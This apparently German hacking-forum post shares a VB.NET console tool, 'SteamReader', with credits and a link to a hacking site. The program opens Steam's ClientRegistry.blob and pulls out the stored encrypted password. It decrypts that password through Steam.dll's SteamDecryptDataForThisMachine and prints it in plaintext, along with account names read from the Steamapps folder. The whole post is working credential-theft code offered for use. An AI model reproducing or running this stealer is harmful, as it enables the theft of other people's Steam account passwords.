hier mal was dazu :)
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO
Module SteamDecrypt
<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function
Sub Main(ByVal args() As String)
On Error Resume Next
Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
Dim decryptedDataSize As Integer = 0
Dim pwd As New StringBuilder
Dim F As Object
Dim sInhalt As String
Dim Phrase As Double
Dim zwischen As Double = "0"
Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")
Console.Title = "SteamReader>>"
F = FreeFile()
FileOpen(F, Datei, OpenMode.Binary)
sInhalt = InputString(F, LOF(F))
Phrase = InStr(1, sInhalt, "Phrase")
sInhalt = Mid(sInhalt, Phrase + 16)
Dim PWnew As String = (Left(sInhalt, 92))
Dim encpwd As String = (Left(sInhalt, 92))
FileClose(F)
pwd.Length = encpwd.Length / 2
If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
Console.Write(" Username: ")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 1
If drc.Name = "SourceMods" Then GoTo 1
Console.Write(drc.Name & ", ")
1:
Next
Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
Console.ReadLine()
Else
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 2
If drc.Name = "SourceMods" Then GoTo 2
Console.Write(drc.Name & ", ")
2:
Next
Console.ReadLine()
End If
End Sub
End Module